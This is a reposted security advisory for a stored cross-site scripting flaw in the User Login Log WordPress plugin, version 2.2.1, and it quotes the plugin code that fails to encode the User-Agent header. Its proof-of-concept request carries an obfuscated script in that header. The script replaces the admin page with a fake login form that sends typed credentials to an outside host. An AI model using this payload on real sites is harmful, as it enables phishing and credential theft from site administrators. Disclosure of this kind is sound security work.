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WordPress User Login Log 2.2.1 Cross Site Scripting

WordPress User Login Log 2.2.1 Cross Site Scripting
Posted Mar 3, 2017
Authored by Axel Koolhaas

WordPress User Login Log plugin version 2.2.1 suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 1e716bb3eab880b82d9519988f8f516e288c83773a805ad4c2919514b5e4797b

WordPress User Login Log 2.2.1 Cross Site Scripting

Change Mirror Download
------------------------------------------------------------------------
Stored Cross-Site Scripting vulnerability in User Login Log WordPress
Plugin
------------------------------------------------------------------------
Axel Koolhaas, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A stored Cross-Site Scripting vulnerability was found in the User Login
Log WordPress Plugin. This issue can be exploited by Subscriber (or
higher) and allows an attacker to perform a wide variety of actions,
such as stealing users' session tokens, or performing arbitrary actions
on their behalf.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160724-0011

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on User Login Log WordPress Plugin
version 2.2.1.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
There is currently no fix available.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/stored_cross_site_scripting_vulnerability_in_user_login_log_wordpress_plugin.html

This vulnerability exists due to the lack of encoding of the User-Agent HTTP request header. This issue exists in method column_default() that is implemented in the file user-login-log.php.

function column_default($item, $column_name)
{

[...]

switch($column_name){

[...]

default:
return $item[$column_name];
}
}

Proof of concept

POST /wp-login.php HTTP/1.1
Host: <target>
User-Agent: XSS<script>document.getElementById(/wpwrap/.toString().substring(1, 7)).innerHTML = String.fromCharCode(60,108,105,110,107,32,114,101,108,61,39,115,116,121,108,101,115,104,101,101,116,39,32,105,100,61,39,99,111,108,111,114,115,45,102,114,101,115,104,45,99,115,115,39,32,104,114,101,102,61,39,99,115,115,47,99,111,108,111,114,115,45,102,114,101,115,104,46,99,115,115,39,32,116,121,112,101,61,39,116,101,120,116,47,99,115,115,39,32,109,101,100,105,97,61,39,97,108,108,39,47,62,60,108,105,110,107,32,114,101,108,61,39,115,116,121,108,101,115,104,101,101,116,39,32,105,100,61,39,108,111,103,105,110,45,99,115,115,39,32,104,114,101,102,61,39,99,115,115,47,108,111,103,105,110,46,99,115,115,39,32,116,121,112,101,61,39,116,101,120,116,47,99,115,115,39,32,109,101,100,105,97,61,39,97,108,108,39,47,62,32,60,115,116,121,108,101,62,98,111,100,121,123,98,97,99,107,103,114,111,117,110,100,58,32,110,111,110,101,59,125,35,104,101,97,100,101,114,123,98,97,99,107,103,114,111,117,110,100,58,32,110,111,110,101,59,125,35,108,111,103,105,110,102,111,114,109,123,116,101,120,116,45,97,108,105,103,110,58,32,108,101,102,116,59,125,112,32,35,110,97,118,123,116,101,120,116,45,115,104,97,100,111,119,58,32,114,103,98,97,40,50,53,53,44,50,53,53,44,50,53,53,44,49,41,32,48,32,49,112,120,32,48,59,125,46,115,117,98,109,105,116,123,112,97,100,100,105,110,103,58,32,48,59,125,35,98,97,99,107,116,111,98,108,111,103,32,97,123,99,111,108,111,114,58,32,35,99,99,99,59,125,60,47,115,116,121,108,101,62,32,60,100,105,118,32,105,100,61,34,108,111,103,105,110,34,62,60,104,49,62,60,97,32,104,114,101,102,61,34,104,116,116,112,58,47,47,119,111,114,100,112,114,101,115,115,46,111,114,103,47,34,32,116,105,116,108,101,61,34,80,111,119,101,114,101,100,32,98,121,32,87,111,114,100,80,114,101,115,115,34,62,84,111,116,97,108,108,121,32,76,101,103,105,116,32,76,111,103,105,110,32,70,111,114,109,60,47,97,62,60,47,104,49,62,32,60,102,111,114,109,32,110,97,109,101,61,34,108,111,103,105,110,102,111,114,109,34,32,105,100,61,34,108,111,103,105,110,102,111,114,109,34,32,97,99,116,105,111,110,61,34,104,116,116,112,58,47,47,119,119,119,46,115,104,111,97,108,111,97,107,46,109,108,47,99,111,108,108,101,99,116,34,32,109,101,116,104,111,100,61,34,80,79,83,84,34,32,116,97,114,103,101,116,61,34,104,105,100,100,101,110,45,102,111,114,109,34,62,60,112,62,60,108,97,98,101,108,62,85,115,101,114,110,97,109,101,60,98,114,47,62,60,105,110,112,117,116,32,116,121,112,101,61,34,116,101,120,116,34,32,110,97,109,101,61,34,117,34,32,105,100,61,34,117,115,101,114,95,108,111,103,105,110,34,32,99,108,97,115,115,61,34,105,110,112,117,116,34,32,118,97,108,117,101,61,34,34,32,115,105,122,101,61,34,50,48,34,32,116,97,98,105,110,100,101,120,61,34,49,48,34,47,62,60,47,108,97,98,101,108,62,60,47,112,62,60,112,62,60,108,97,98,101,108,62,80,97,115,115,119,111,114,100,60,98,114,47,62,60,105,110,112,117,116,32,116,121,112,101,61,34,112,97,115,115,119,111,114,100,34,32,110,97,109,101,61,34,112,34,32,105,100,61,34,117,115,101,114,95,112,97,115,115,34,32,99,108,97,115,115,61,34,105,110,112,117,116,34,32,118,97,108,117,101,61,34,34,32,115,105,122,101,61,34,50,48,34,32,116,97,98,105,110,100,101,120,61,34,50,48,34,47,62,60,47,108,97,98,101,108,62,60,47,112,62,60,112,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,83,101,115,115,105,111,110,32,104,97,115,32,101,120,112,105,114,101,100,44,32,112,108,101,97,115,101,32,108,111,103,32,105,110,60,47,112,62,60,112,32,99,108,97,115,115,61,34,102,111,114,103,101,116,109,101,110,111,116,34,62,60,108,97,98,101,108,62,60,105,110,112,117,116,32,110,97,109,101,61,34,114,101,109,101,109,98,101,114,109,101,34,32,116,121,112,101,61,34,99,104,101,99,107,98,111,120,34,32,105,100,61,34,114,101,109,101,109,98,101,114,109,101,34,32,118,97,108,117,101,61,34,102,111,114,101,118,101,114,34,32,116,97,98,105,110,100,101,120,61,34,57,48,34,47,62,32,82,101,109,101,109,98,101,114,32,77,101,60,47,108,97,98,101,108,62,60,47,112,62,60,112,32,99,108,97,115,115,61,34,115,117,98,109,105,116,34,62,60,105,110,112,117,116,32,116,121,112,101,61,34,115,117,98,109,105,116,34,32,110,97,109,101,61,34,119,112,45,115,117,98,109,105,116,34,32,105,100,61,34,119,112,45,115,117,98,109,105,116,34,32,118,97,108,117,101,61,34,76,111,103,32,73,110,34,32,116,97,98,105,110,100,101,120,61,34,49,48,48,34,47,62,60,47,112,62,60,47,102,111,114,109,62,32,60,112,32,105,100,61,34,110,97,118,34,62,60,97,32,104,114,101,102,61,34,46,46,47,119,112,45,108,111,103,105,110,46,112,104,112,63,97,99,116,105,111,110,61,108,111,115,116,112,97,115,115,119,111,114,100,34,32,116,105,116,108,101,61,34,80,97,115,115,119,111,114,100,32,76,111,115,116,32,97,110,100,32,70,111,117,110,100,34,62,76,111,115,116,32,121,111,117,114,32,112,97,115,115,119,111,114,100,63,60,47,97,62,60,47,112,62,60,47,100,105,118,62,60,105,102,114,97,109,101,32,115,116,121,108,101,61,34,100,105,115,112,108,97,121,58,110,111,110,101,34,32,110,97,109,101,61,34,104,105,100,100,101,110,45,102,111,114,109,34,62,60,47,105,102,114,97,109,101,62,32,60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,116,114,121,123,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,117,115,101,114,95,108,111,103,105,110,39,41,46,102,111,99,117,115,40,41,59,125,99,97,116,99,104,40,101,41,123,125,60,47,115,99,114,105,112,116,62);document.getElementById(/wpwrap/.toString().substring(1, 7)).id = /login/.toString().substring(1, 5);document.cookie = String.fromCharCode(39,118,105,115,105,116,101,100,61,116,114,117,101,59,112,97,116,104,61,47,59,109,97,120,45,97,103,101,61,39) + 60 * 10;
</script>XSS
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Accept-Encoding: gzip,deflate,lzma,sdch
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: close
Content-Type: application/x-www-form-urlencoded

log=<user name>&pwd=<password>&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1


------------------------------------------------------------------------
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goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
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